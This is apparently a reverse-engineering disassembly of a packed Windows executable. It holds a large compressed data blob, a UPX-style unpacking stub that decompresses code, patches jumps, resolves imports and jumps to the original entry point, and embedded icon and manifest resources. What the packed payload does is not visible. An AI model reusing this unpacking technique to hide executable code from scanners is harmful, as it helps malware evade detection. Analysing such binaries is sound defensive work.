dword_3E3070	dd 2117F91Bh, 0FCA37635h, 7410FDBh, 5043641Bh, 38175233h
					; DATA XREF: sub_3E5950+9o
					; sub_418150+9o
		dd 0E2F30753h, 59C6B7B7h, 0C1BA3EBFh, 7020A217h, 0D1FB061Ch
		dd 50DFDBFEh, 802FC772h, 0B02581B3h, 1F8207C1h,	538F8483h
		dd 0BF77F2FFh, 9E299178h, 0A4436CA1h, 9FB7A76Fh, 1FCE41C2h
		dd 330718D7h, 0FFFFF103h, 0C9688BFFh, 146CE30Ch, 701B216h
		dd 76511F17h, 4F2F2366h, 632A0F92h, 407367A7h, 0FD4BFFA6h
		dd 7878416Fh, 4C3B40E7h, 32200907h, 880A9B2Ch, 115C10E6h
		dd 0BF78DE2Ch, 123E96A9h, 0E5DC1308h, 7CDBB618h, 0FC4B441Ah
		dd 1B8FA7FCh, 0E4E41C0Ch, 601FC41Eh, 0F52F21A3h, 0B2CDE25Fh
		dd 22E38659h, 8078E290h, 79705EEBh, 0FF167A70h,	72FFFE5h
		dd 985187FCh, 0FF07DD7Bh, 14CE02A7h, 5001072h, 0E0ABEF90h
		dd 0BDFDFE97h, 0A80C81A8h, 8B6404C7h, 0BF89690Ch, 7C5B0BF4h
		dd 5A820003h, 46017700h, 4F77B07h, 0FF42FF08h, 82CEA485h
		dd 17218279h, 6307DFA6h, 0A593F3F2h, 7FE09F81h,	0FCFFFFEBh
		dd 0A8807E40h, 423D9C2Fh, 0DAA3C178h, 0FE81CCA3h, 60C44007h
		dd 412FB583h, 0FFE8DF57h, 0DDFFC8FFh, 0A2CF5FB6h, 1AA2E4h
		dd 0A2E8A2E5h, 0DBF27E5Bh, 5109A193h, 0ADF89705h, 5EDA03FFh
		dd 0DA5F5FDAh, 0E4FDDA6Ah, 0D8D357F6h, 0FF39F9DBh, 31FFFFFFh
		dd 50ED1C7Eh, 0EB023061h, 98107B43h, 0F78A889h,	7600ECBDh
		dd 6B48AB01h, 0B7EB1823h, 0DBB83B6Ch, 0D7F85E2Dh, 0F13FEFA0h
		dd 3F906A02h, 0C13DE162h, 0FB7FF0EBh, 0E9080252h, 1F26B06Eh
		dd 5F40E8F8h, 1D3B0BC0h, 7C41B10Bh, 4E75BA9h, 0D4088D96h
		dd 883BDB06h, 91DC8706h, 62E9A92h, 0FFFFE893h, 7FF03FFh
		dd 7E122B78h, 0A809341h, 137ED667h, 19B1C641h, 0CB1344BFh
		dd 0F6E503D3h, 5FC37FC2h, 0ED1A2796h, 41F6AC03h, 0B8B4B09Ah
		dd 34C4C0BCh, 5FFF455Dh, 0F2F8E002h, 0A6D0DCC6h, 0C8D34EEBh
		dd 3CC1FBCh, 0FB78B7D0h, 0D8D41E7Fh, 0E8E4E0DCh, 0EC0ABDD7h
		dd 0A80BF4F0h, 0FFF57A03h, 4DB3DF56h, 2FF298A0h, 3880790h
		dd 0BB42E080h, 6005B605h, 4C09C23Dh, 0EADEDC40h, 409FA17h
		dd 5842B6FBh, 44FB2EDBh, 23DF03ACh, 0B7FFFFFFh,	2B007F62h
		dd 64882E43h, 0A047190Fh, 2D07417Dh, 0B2303A90h, 9360BB10h
		dd 0FF2F241Ah, 0CBFD0BFFh, 56483400h, 4573AA01h, 6B030F74h
		dd 1C9E0A47h, 0F1F07080h, 0F8535047h, 94FFFD6Fh, 5492816Ch
		dd 0C9B0443Fh, 6E385E05h, 0F5134C47h, 0BD9A4ADh, 0FFA11703h
		dd 37DF5FD6h, 3BEBD348h, 0D4B5F75Ah, 34D9669Bh,	1B3411F3h
		dd 4E70DFFCh, 65C0A86Dh, 77533A33h, 534D3B8Bh, 0F5D3BA6Bh
		dd 0F2FC6EADh, 0D51C2227h, 14DDCAEh, 497830BDh,	0FE01BEEFh
		dd 0B669E36Fh, 4857115Dh, 384003F6h, 20283091h,	1BFB1018h
		dd 86F6Fh, 0E0F2F5F8h, 0D8204CFBh, 0C400C8D0h, 8FFB1B07h
		dd 66B7E05h, 3403B0B8h,	90985C9Ch, 30788088h, 0D6F0FFE5h
		dd 505860DCh, 343C480Ch, 741C242Ch, 0FD68519Bh,	80C14FFh
		dd 0F487F4FCh, 0D6760CD7h, 0DDC6FF4h, 0DDDF772Dh, 0ACB87B8Eh
		dd 0A34943Ah, 787C848Ch, 6CD31174h, 63DADF64h, 4C545CEFh
		dd 0D203B1Bh, 0C7C0A5Fh, 0FF0FF46Fh, 0F3FE1ADFh, 359DD74Dh
		dd 3717BF3h, 7BEED93Dh,	0FBFFF3B3h, 0B40FC0E3h,	0FFC1BDF3h
		dd 2200F7FFh, 0F3ACE204h, 564004E3h, 2231789h, 3744642h
		dd 0FA1C9020h, 414BF4BFh, 0D024A716h, 2A8C31D8h, 2A894D17h
		dd 0F581EC6h, 5FFFFFFFh, 224C0D87h, 0E3A71507h,	54184666h
		dd 1CA99B4h, 1ADF6574h,	7661654Ch, 153B4515h, 0FF06EAA5h
		dd 1584CCFFh, 56E2C73h,	0F16C2BA0h, 28416E18h, 63090EF3h
		dd 0DFFFD1BFh, 0D17970E0h, 0DA0F5009h, 0AB3A01F2h, 1CC75228h
		dd 8049736Fh, 0BC1BFF81h, 624E27D4h, 6A160D40h,	0BED8A01h
		dd 54D86260h, 0F02FFF7Bh, 0E62E6BFFh, 227A89DCh, 6E0A3E89h
		dd 6469A802h, 72616898h, 9C4D6F54h, 0FFE0AB42h,	5C88EF02h
		dd 71141345h, 9375A2A8h, 0FFFC6F69h, 3358757Fh,	417C4EC4h
		dd 9C2D3B1Dh, 2CD41228h, 15135A11h, 0F57E9AFh, 7AB71B95h
		dd 2761B5EBh, 0DF5EADCEh, 8603B6A3h, 0FFFDB579h, 687A9EFFh
		dd 5670614Dh, 7D858469h, 4F7765F6h, 6E558C66h, 6F0D106Dh
		dd 1B5689EAh, 0F747E76Fh, 7E11F991h, 0FFFF5603h, 0DEE5727Fh
		dd 6F5868A3h, 558A889Dh, 0EEB99BCh, 0A44B2A52h,	7B0362D6h
		dd 0FC4BFFFFh, 379D602Dh, 45714EDAh, 0A8EA56E6h, 0F71610D9h
		dd 2A715F62h, 0A90416F3h, 0DCFE854Bh, 6E694654h, 9FFEBC22h
		dd 0F13EAE0Fh, 377FFC4Bh, 70DB9A10h, 0A8041E12h, 0BD4E6D61h
		dd 15ACD1FAh, 0F0B8DFBEh, 7B63792Fh, 217E9D23h,	0C34ED661h
		dd 0E60215A8h, 0FFFFFF16h, 447719FFh, 1035CDC4h, 41A6BBDEh
		dd 1E095173h, 193505Fh,	50AD012Bh, 6A02E445h, 125EA503h
		dd 0FFFFF5DCh, 0FEBBC1FFh, 6F5F847Bh, 0E0C42630h, 7E531DC9h
		dd 0B3182906h, 222B1264h, 3A88F441h, 0F12FFF90h, 7FF69DBFh
		dd 35EC0EEFh, 0B4EE5722h, 425E6873h, 0DAA06675h, 4B66B9CDh
		dd 0D3FFFE15h, 70650B51h, 0A0999A06h, 0A8704696h, 97805909h
		dd 5B7F50Ah, 0E10CA4FEh, 5DB3B875h, 16006E16h, 2E3361BCh
		dd 0FFFFF045h, 0D236CE2Fh, 2920A08Dh, 0B070754Fh, 0BD286D9h
		dd 6FD46D16h, 40060C79h, 37837FDBh, 76AE2328h, 7E27B050h
		dd 0BD96740Ch, 85FFFF80h, 51E810FEh, 0DEA219FCh, 815CE27h
		dd 62823351h, 918FE6BDh, 853D6CB0h, 0FFC0BFD3h,	0B10ED40Bh
		dd 4EB4C68h, 615E4BF8h,	1C675987h, 0FFB47349h, 6DFE97FFh
		dd 48C6D141h, 78800B67h, 5083CE67h, 42E7505Ch, 5B6CEC0Fh
		dd 6D20630Ah, 0C1BC5B15h, 7B6544FFh, 3624BAB0h,	0ED4FDB41h
		dd 7E340C09h, 0FFFEA55Bh, 0B1D356FFh, 19C2AA00h, 0F2C897A0h
		dd 41CB784Dh, 5316180Ch, 613A425h, 8DFF6A50h, 0F1C3DCFEh
		dd 76962463h, 6AC1FB92h, 2F30CB25h, 4BFF7457h, 0C3B5176Fh
		dd 3658E76Ch, 177CD4E9h, 8179473h, 0FF56C239h, 176FFFFFh
		dd 6059A71Bh, 9DFE57h, 23146769h, 52C25149h, 8A024C21h
		dd 86F655B7h, 5F8C5834h, 53ADFFFAh, 764AD362h, 440FCB70h
		dd 86864217h, 0D0918A6Bh, 0FEEFAE0Ah, 15FFFFC2h, 551F66F5h
		dd 0B9B30C0Fh, 2B8E5159h, 0A21DAA89h, 7D1320Eh,	6EDD3451h
		dd 0DF6E025Fh, 0A970C166h, 0ACB51D74h, 0AFFDB23h, 0DDFBBF02h
		dd 0F1639A5h, 2100B65h,	8A170904h, 73130309h, 0FF2E3474h
		dd 0F9F8823Bh, 4C20301h, 1C9C03F9h, 0B0D04659h,	0E2E05F70h
		dd 0B1FFFFFFh, 40D23257h, 1701A010h, 0DB140655h, 27879A0h
		dd 8007E5C2h, 2F4AF4EDh, 7FFF9B64h, 0A0C8DFFBh,	6447B541h
		dd 3F46F000h, 0D881BB1Bh, 0C201ECA7h, 54E4DF14h, 0FEEBC908h
		dd 10FFC5BFh, 614DEFBh,	0FB2CA4C2h, 185D280h, 2F08C2C5h
		dd 0BC50183Ch, 0D6FF60B3h, 0C27B0DFFh, 46F7B1B2h, 8073F3EBh
		dd 9BF71127h, 4D441B40h, 0C1817F17h, 4996E3DAh,	60752400h
		dd 411000BEh, 54BEDB00h, 0FE058DB4h, 0FFCD8357h, 0C400904Bh
		dd 8A1E0A2Dh, 1874606h,	0BFF7B0DBh, 831EB104h, 0DB11FCEEh
		dd 37B8ED72h, 0BEC1FF11h, 0CC0111Dh, 975EF73h, 31E4730Eh
		dd 3E883C9h, 235DFD72h,	3DE10D80h, 74FFF083h, 64C58974h
		dd 2F81D84Fh, 20750CC9h, 0FB7F1C41h, 834C2C27h,	0FD8102C1h
		dd 8395F300h, 148D01D1h, 6BBEA62Fh, 0FCFD83FDh,	338A0F76h
		dd 0F7754994h, 510563E9h, 0EE052C2Ch, 0F6893F83h, 5B4BFFBBh
		dd 4E98304h, 0CF01F177h
		dd 5E164CE9h, 4EB9F789h, 0FFFFA904h, 298ADBFFh,	13CE82Ch
		dd 3F80F777h, 8BF27505h, 45F8A07h, 8E8C166h, 8610C0C1h
		dd 0BDF46EC4h, 3CF829C4h, 3BF001E8h, 0D9E23605h, 0EB5BF6FBh
		dd 23DD90FFh, 4574C009h, 848D278Bh, 0ADEDB430h,	1BB7EDBh
		dd 81F50F3h, 0B91896FFh, 84E950Bh, 8B6DE01Dh, 79F93A5Bh
		dd 500BB73Dh, 0B33BB947h, 0A977516Dh, 371C1D55h, 76878907h
		dd 8303FDB3h, 0D8EB04C3h, 0AE8B2410h, 0FF560520h, 0F09620A6h
		dd 545093BBh, 5753046Ah, 6FEDD5FFh, 878DE2A2h, 7F208C0Fh
		dd 7F286080h, 0A8DF1558h, 1450BD4Ah, 6A80451Eh,	0B2AA3900h
		dd 75C4FFC2h, 80EC83FAh, 0FEAD67E9h, 9A3A0099h,	5042EC1h
		dd 0E303003h, 0E9A69A6Ch, 0E010A007h, 0D3012018h, 2FAC2C6Dh
		dd 501F015Ah, 4D9231CEh, 0A9007802h, 2DDB0008h,	640B68BBh
		dd 0E424E8C1h, 6E427704h, 9027D9DFh, 2827C44Bh,	0AC21BB01h
		dd 0B8A0EABBh, 7C3FD067h, 42B7D8C5h, 0AF00222Eh, 6C913FF8h
		dd 1104396h, 0DB02B4A4h, 387902E6h, 0C85C5001h,	83BA567Fh
		dd 9160203Bh, 40033BCFh, 0C5821D81h, 2301829h, 33BA4DEEh
		dd 1800680h, 0CFBDD208h, 700C0B5h, 602FF11h, 7D200FFFh
		dd 0FF12016Fh, 787787C1h, 20C8EB59h, 87FF8F88h,	73E5C80Eh
		dd 0A07A77F6h, 7708780Fh, 4DDDB0ABh, 2077DF76h,	0EEBB0F8Fh
		dd 0F7870820h, 0B92FF92Fh, 77E7BE0Fh, 0BEFA777Fh, 0F8777077h
		dd 0CDC83C9Ch, 0CC4CE708h, 77F0A0C4h, 20FFE447h, 8E87A8Fh
		dd 88087844h, 0EBAA7788h, 0CFEFF777h, 44C07DBDh, 8A190748h
		dd 5F52BBAEh, 0F4404F0h, 95AD74FDh, 0F3720EEh, 0BBEB7870h
		dd 0FFDD6AB5h, 8878883Eh, 0F047F87h, 8E0F88EAh,	0ADB5CFB7h
		dd 2187DFDEh, 0F87004Fh, 76FC788Fh, 8246B58h, 0F73F70F1h
		dd 0FFFF0887h, 0CE6BB73Dh, 8FD87600h, 0EF3F0F70h, 0AE75BBh
		dd 26F0983Eh, 4F004488h, 0FD83370Fh, 0F4086D0Fh, 6C6676E7h
		dd 0FE000FCCh, 0D81B6677h, 0EF66903Bh, 0D201F20h, 1FD81BD8h
		dd 67E0F20h, 20EC06F6h,	0F20770Fh, 0F602CB7Eh, 8F0F20h
		dd 8766FF08h, 0D3B84C20h, 60C7BB00h, 88FE0FC3h,	7FC02723h
		dd 0FFD4A258h, 3FC01FFCh, 1FC007F0h, 310303E0h,	0F24E43C0h
		dd 3CE95h, 0D9320000h, 36019DC9h, 408003F2h, 7E5CD96h
		dd 0F3E30FC2h, 0BC67FF80h, 24C00E65h, 0EB94481Fh, 80E42210h
		dd 802034h, 9861F6FEh, 75FC270h, 87007007h, 0BFE0BEF7h
		dd 775979BCh, 8708770h,	0C077E88Ah, 0EB8E0777h,	9B8DB634h
		dd 0F80FC77Fh, 0CC178835h, 0E87F9CCEh, 0FC0E2D28h, 0F88F074Dh
		dd 0DEE070Fh, 80462FC7h, 0C766470Fh, 764E2000h,	88D97C67h
		dd 8F88F7FCh, 7E747h, 4744448Fh, 675EF735h, 8F6D10F8h
		dd 830D8AC1h, 161DD3B7h, 0E0FB03C2h, 0A2C5F003h, 0FEFC483Bh
		dd 0DD95B801h, 685CE077h, 10202906h, 0EDF5071Dh, 10106CC0h
		dd 5010030Dh, 0EE959441h, 8FF72DEEh, 53552B34h,	45055F00h
		dd 0FE095200h, 49FBAEB9h, 4E004F00h, 4605490Fh,	4BD000Bh
		dd 4D64FEEFh, 343F676h,	0AB3F0700h, 0DEC26F76h,	12001104h
		dd 744F75h, 2825506Dh, 7667A9FBh, 4DCDEE6Fh, 65006C07h
		dd 660D59h, 1EE236Fh, 706DD7B9h, 39033415h, 5BBA8307h
		dd 4C91FDD7h, 43171600h, 0CF6D23h, 0B9792F61h, 8DEBAC6Eh
		dd 5B650D61h, 5763494Dh, 0B75D6333h, 6603731Fh,	722D2063h
		dd 0BAEE6605h, 691161EEh, 724B6E09h, 7F7B2900h,	561DD733h
		dd 1D357203h, 2E003500h, 0DDDD63CDh, 32033100h,	30813600h
		dd 38003109h, 75D63720h, 5178731Dh, 55F0373h, 37F60732h
		dd 5B725D73h, 27B5256Dh, 332D0033h, 375EEB9Fh, 52290D35h
		dd 0E773071Dh, 7580D874h, 916E6F63h, 0A577C16Ch, 0D8BF9A11h
		dd 3E2F1B6Bh, 294F0B00h, 877B26C9h, 0B32F2D67h,	2375376Eh
		dd 2357B82Ch, 2EA94BA3h, 84545805h, 3F03CFE6h, 5025006Ah
		dd 0D0943711h, 1B7557B0h, 0DDAE2F74h, 58DDC8C3h, 11646957h
		dd 4F730077h, 21E1AE3Fh, 20B36549h, 841D79C1h, 0C77D8DECh
		dd 0AB3A4B6Dh, 612B136Bh, 0F9535524h, 0E9DD30Ch, 612D4439h
		dd 2CFB1B0Dh, 24D7ADh, 4F6E8154h, 0A1096FE5h, 941C96Ch
		dd 4804B004h, 0D42FEA98h, 73613CFFh, 626D6573h,	7920796Ch
		dd 223D736Eh, 7FE07275h, 637B176Bh, 2D181368h, 7263696Dh
		dd 666F736Fh, 0DEDD43h,	3A6D6F16h, 7E2E6D10h, 37D5BFDAh
		dd 66696E19h, 6556AC65h, 6F697372h, 3B0D326Eh, 8084A194h
		dd 8C0F6D4Bh, 44BF8742h, 211867C9h, 3CC0E69h, 932C5113h
		dd 5E9A4866h, 743C6934h, 65375Dh, 3821774h, 34A22392h
		dd 0B08360C8h, 7F34BE07h, 0E682A8C0h, 4441000Eh, 6B504156h
		dd 49B8002Fh, 55007E0Ch, 0F80A1A53h, 5707C9A7h,	395F3253h
		dd 4C64616Fh, 77600169h, 47CD3100h, 69BFBD65h, 0FA4AD533h
		dd 7269E973h, 6C617574h, 77B40025h, 63657413h, 2FDE0F74h
		dd 3BBB8034h, 4E676552h, 79654B0Ch, 437FCD25h, 707377FFh
		dd 746E6972h, 0A8484166h, 5003FCECh, 4000416Ah,	2D004147h
		dd 4689F8DAh, 4A475342h, 2A4752BDh, 9F1456FEh, 67736266h
		dd 4A974A5Ch, 62C605FFh, 4120666Ah, 0AB505C47h,	8F676188h
		dd 498DF7F6h, 62766697h, 62791961h, 0FB6B0874h,	66B4515Ch
		dd 2C43C113h, 19508A03h, 83085CAFh, 0A9B8C276h,	40D7B0E2h
		dd 5F171083h, 0E6931557h, 9C1B1938h, 3E417EDBh,	110FD407h
		dd 32D3316h, 981C80E5h,	1B09D81Fh, 0B9800001h, 3500031Dh
		dd 0C8A20600h, 0B66900BEh, 0F429100Bh, 0E0EC0322h, 0A69A69A6h
		dd 0ACB8C4D4h, 69A69AA0h, 7488949Ah, 694C5C68h,	4469A69Ah
		dd 14243038h, 0A6CB34D3h, 0E821F408h, 0D34DD0DCh, 0B8C44D34h
		dd 8C94A0A8h, 34D34D34h, 5C687884h, 4D34D350h, 203044D3h
		dd 69A60414h, 20F8659Ah, 0D4DCE4F0h, 9A69A645h,	0A0B0B8C8h
		dd 5C2C0000h, 4104D778h, 30C59h, 0E07FA2C0h, 0A4004015h
		dd 51060B16h, 3A000259h, 74428002h, 0AB72FAA2h,	491014DFh
		dd 0DA654473h, 2CDF552Eh, 50726567h, 186E6575h,	0FF737E01h
		dd 614856A9h, 656C646Eh, 7461150Ch, 2A694665h, 0BDB7DB7h
		dd 736C0C41h, 6E087274h, 0FBFBD909h, 6954AB97h,	6F436B63h
		dd 72573175h, 0FD2F2369h, 0A66AA4DDh, 6C745228h, 69776E55h
		dd 0AC4542B6h, 1C8F334Ch, 9554BD6Dh, 6FD0980Ah,	6FB67972h
		dd 635283CDh, 324C7461h, 6C416C61h, 0D6B6637Ch,	460BC1B5h
		dd 35535025h, 0A6840h, 648DC7B7h, 70557845h, 0C2B71074h
		dd 476BE6DAh, 6C191C72h, 0A2DB982h, 8BD072AAh
		db 85h,	65h
; ---------------------------------------------------------------------------


loc_3E3F8A:				; CODE XREF: .data:003E3FF9j
		insd
		fist	dword ptr [edx]
		push	esp
		pop	ss
		insd
		mov	[ebp+75560205h], bl
		call	far ptr	5BB6h:0C64C0081h
		test	dword ptr [esp+esi*2], 65758056h
		push	esi
		inc	ecx
		sqrtps	xmm5, oword ptr	[esi+0AD6B09Dh]
		lodsd
		adc	[edi+70h], ecx
		pop	edx
		sub	eax, 0B669BAA0h
		inc	ecx
		inc	esp
		mov	ds, word ptr [eax-1]
		test	al, 2
		rcl	byte ptr [ebp+55A12FCh], 0
; ---------------------------------------------------------------------------
		db 0Dh,	0FFh, 10h
; ---------------------------------------------------------------------------


loc_3E3FC8:				; CODE XREF: .data:003E4004j
		mov	word ptr [eax+3426Fh], es
		adc	esp, [ebx]
		leave
		and	[eax-4Bh], al
		pop	edx
		adc	[edi], al
		and	[edi+6FDC105Ch], cl
		add	esp, edi
		push	esp
		add	[bx+si-7C29h], edi
		mul	byte ptr [eax+2457758h]
		pop	edx
		pusha
		inc	edi
		inc	eax
		adc	edi, [eax-3Dh]
		sbb	al, 20h
		push	esi
		db	2Eh
		jz	short loc_3E405E
		js	short loc_3E3F8A
		insb
		fsincos
		jp	short loc_3E400C


loc_3E4000:				; CODE XREF: sub_3E5546+B3p
					; .data:00417DF9p
					; DATA XREF: ...
		nop
		add	eax, [edx+2Eh]	; CODE XREF: .data:003E4020j
		jb	short loc_3E3FC8
		and	[edi+61836485h], dh


loc_3E400C:				; CODE XREF: .data:003E3FFEj
		sti
		sub	bh, [edx+6BC703C0h]
		sbb	eax, cs:[edx]
		inc	eax
		db	2Eh
		cmps	byte ptr es:[esi], byte	ptr es:[edi]
		add	ch, dl
		and	ch, bl
		add	al, 4Bh
		loopne	near ptr loc_3E4001+1
		xchg	ebx, [eax+2E5A94F9h]
		inc	ebx
		push	edx
		push	esp
		jmp	far ptr	6309h:0B2B5405Bh
; ---------------------------------------------------------------------------
		dw 0BD4Fh
		dd 0AA261309h, 54075313h, 2791BF3Dh, 5BD8AC13h,	4A000000h
		dd 9002Ah, 0FF00h, 6000BE60h, 0BE8D0040h, 0FFFFB000h
		db 57h,	83h
; ---------------------------------------------------------------------------


loc_3E405E:				; CODE XREF: .data:003E3FF6j
		int	0FFh		; AT/XT286/PS50+ - destroyed by	return from protected mode
		jmp	short loc_3E4072
; ---------------------------------------------------------------------------
		dw 9090h
		dd 90909090h
; ---------------------------------------------------------------------------


loc_3E4068:				; CODE XREF: .data:loc_3E4079j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_3E406E:				; CODE XREF: .data:003E4106j
					; .data:003E411Dj
		add	ebx, ebx
		jnz	short loc_3E4079


loc_3E4072:				; CODE XREF: .data:003E4060j
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_3E4079:				; CODE XREF: .data:003E4070j
		jb	short loc_3E4068
		mov	eax, 1


loc_3E4080:				; CODE XREF: .data:003E408Fj
					; .data:003E409Aj
		add	ebx, ebx
		jnz	short loc_3E408B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_3E408B:				; CODE XREF: .data:003E4082j
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_3E4080
		jnz	short loc_3E409C
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_3E4080


loc_3E409C:				; CODE XREF: .data:003E4091j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_3E40B0
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_3E4122
		mov	ebp, eax


loc_3E40B0:				; CODE XREF: .data:003E40A1j
		add	ebx, ebx
		jnz	short loc_3E40BB
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_3E40BB:				; CODE XREF: .data:003E40B2j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_3E40C8
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_3E40C8:				; CODE XREF: .data:003E40BFj
		adc	ecx, ecx
		jnz	short loc_3E40EC
		inc	ecx


loc_3E40CD:				; CODE XREF: .data:003E40DCj
					; .data:003E40E7j
		add	ebx, ebx
		jnz	short loc_3E40D8
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_3E40D8:				; CODE XREF: .data:003E40CFj
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_3E40CD
		jnz	short loc_3E40E9
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_3E40CD


loc_3E40E9:				; CODE XREF: .data:003E40DEj
		add	ecx, 2


loc_3E40EC:				; CODE XREF: .data:003E40CAj
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_3E410C


loc_3E40FD:				; CODE XREF: .data:003E4104j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_3E40FD
		jmp	loc_3E406E
; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------


loc_3E410C:				; CODE XREF: .data:003E40FBj
					; .data:003E4119j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_3E410C
		add	edi, ecx
		jmp	loc_3E406E
; ---------------------------------------------------------------------------


loc_3E4122:				; CODE XREF: .data:003E40ACj
		pop	esi
		mov	edi, esi
		mov	ecx, 34h


loc_3E412A:				; CODE XREF: .data:003E4131j
					; .data:003E4136j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_3E412F:				; CODE XREF: .data:003E4154j
		cmp	al, 1
		ja	short loc_3E412A
		cmp	byte ptr [edi],	0
		jnz	short loc_3E412A
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	al, bl
		loop	loc_3E412F
		lea	edi, [esi+10000h]


loc_3E415C:				; CODE XREF: .data:003E417Ej
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_3E41A7
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+128B4h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+12904h]
		xchg	eax, ebp


loc_3E4179:				; CODE XREF: .data:003E419Fj
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_3E415C
		mov	ecx, edi
		jns	short near ptr loc_3E418A+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_3E418A:				; CODE XREF: .data:003E4182j
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+12908h]
		or	eax, eax
		jz	short loc_3E41A1
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_3E4179
; ---------------------------------------------------------------------------


loc_3E41A1:				; CODE XREF: .data:003E4198j
		call	dword ptr [esi+12910h]


loc_3E41A7:				; CODE XREF: .data:003E4160j
		mov	ebp, [esi+1290Ch]
		lea	edi, [esi-1000h]
		mov	ebx, 1000h
		push	eax
		push	esp
		push	4
		push	ebx
		push	edi
		call	ebp
		lea	eax, [edi+1F7h]
		and	byte ptr [eax],	7Fh
		and	byte ptr [eax+28h], 7Fh
		pop	eax
		push	eax
		push	esp
		push	eax
		push	ebx
		push	edi
		call	ebp
		pop	eax
		popa
		lea	eax, [esp-80h]


loc_3E41DB:				; CODE XREF: .data:003E41DFj
		push	0
		cmp	esp, eax
		jnz	short loc_3E41DB
		sub	esp, 0FFFFFF80h
		jmp	near ptr 3D2FA0h
; ---------------------------------------------------------------------------
		align 4
		dd 2Fh dup(0)
		dd 4, 40000h, 3, 80000030h, 0Eh, 800000A0h, 10h, 800000E0h
		dd 18h,	80000120h, 2 dup(0)
		dd 4, 20000h, 1, 80000050h, 2, 80000078h, 2 dup(0)
		dd 4, 10000h, 409h, 68h, 13164h, 2E8h, 4E4h, 3 dup(0)
		dd 4, 10000h, 409h, 90h, 13450h, 128h, 4E4h, 3 dup(0)
		dd 4, 10000h, 3EAh, 800000B8h, 2 dup(0)
		dd 4, 10000h, 409h, 0D0h, 1357Ch, 22h, 4E4h, 3 dup(0)
		dd 4, 10000h, 1, 800000F8h, 2 dup(0)
		dd 4, 10000h, 409h, 110h, 135A4h, 2B4h,	4E4h, 3	dup(0)
		dd 4, 10000h, 1, 80000138h, 2 dup(0)
		dd 4, 10000h, 409h, 150h, 1385Ch, 56h, 4E4h, 0
		dd 10160h, 28h,	20h, 40h, 40001h, 0
		dd 200h, 5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 0C0C0C0h
		dd 808080h, 0FF0000h, 0FF00h, 0FFFF00h,	0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 4 dup(0)
		dd 78778700h, 0
		dd 88000000h, 0
		dd 0F8FF8F00h, 80h, 77880000h, 0A07Ah, 0F8FF8F00h, 78h
		dd 77770800h, 0B0AB7Ah,	0F8FF8F00h, 8077h, 77778F00h, 0EEBB7Ah
		dd 0F8FF8F00h, 7877h, 77F78708h, 0E7BE7Ah, 0F8FF8F00h
		dd 7877h, 777F7708h, 7077BEFAh,	0F8FF8F00h, 7877h, 0F8777708h
		dd 7077E708h, 0C4CC4C00h, 7877h, 0A0777708h, 707777F0h
		dd 0C4CC4C00h, 7847h, 0E87A7708h, 70777708h, 0C4CC4C00h
		dd 88087844h, 0EBAA7788h, 7077F777h, 0C0CC4C00h, 77074844h
		dd 0BBAE8A77h, 777F77h,	0F0FF8F00h, 77074404h, 0BBEE8A77h
		dd 0F77777h, 0F0FF8F08h, 77074470h, 0BBEB7877h,	707777h
		dd 87887888h, 0FF0F047Fh, 0BB88FFFFh, 807877h, 87778787h
		dd 8808F0FFh, 88888888h, 808788h, 7077788Fh, 8888h, 0
		dd 708800h, 887F708h, 7707FFFFh, 77777777h, 800878h, 8708F00h
		dd 0FF0FFFFFh, 0FFFFFFFFh, 8078h, 0F00800h, 44448888h
		dd 4F444444h, 8078h, 800000h, 76E7F408h, 4FCC6C66h, 8078h
		dd 0
		dd 77FEF408h, 4FCC6666h, 8078h,	0
		dd 0E7EFF408h, 4F6C6676h, 8078h, 0
		dd 0FEFEF408h, 4F666677h, 8078h, 0
		dd 0EFEFF408h, 4F6676E7h, 8078h, 0
		dd 0FE7EF408h, 4F6677FEh, 8078h, 0
		dd 0EF77F408h, 4F76E7EFh, 8078h, 0
		dd 7E77F408h, 4F77FEFEh, 8078h,	0
		dd 4444F408h, 4F444444h, 8078h,	0
		dd 0FFFFFF08h, 0FFFFFFFFh, 80F8h, 0
		dd 77778700h, 77777777h, 8077h,	0
		dd 88880800h, 88888888h, 8088h,	0FFFFFFC0h, 1FFC7FC0h
		dd 7F03FC0h, 3E01FC0h, 1C00FC0h, 18007C0h, 3 dup(8007C0h)
		dd 2 dup(0C0h),	2 dup(10000C0h), 3000080h, 3 dup(3000000h)
		dd 7000080h, 0F0000C2h,	0F0000E3h, 0F0080F3h, 9	dup(0F0080FFh)
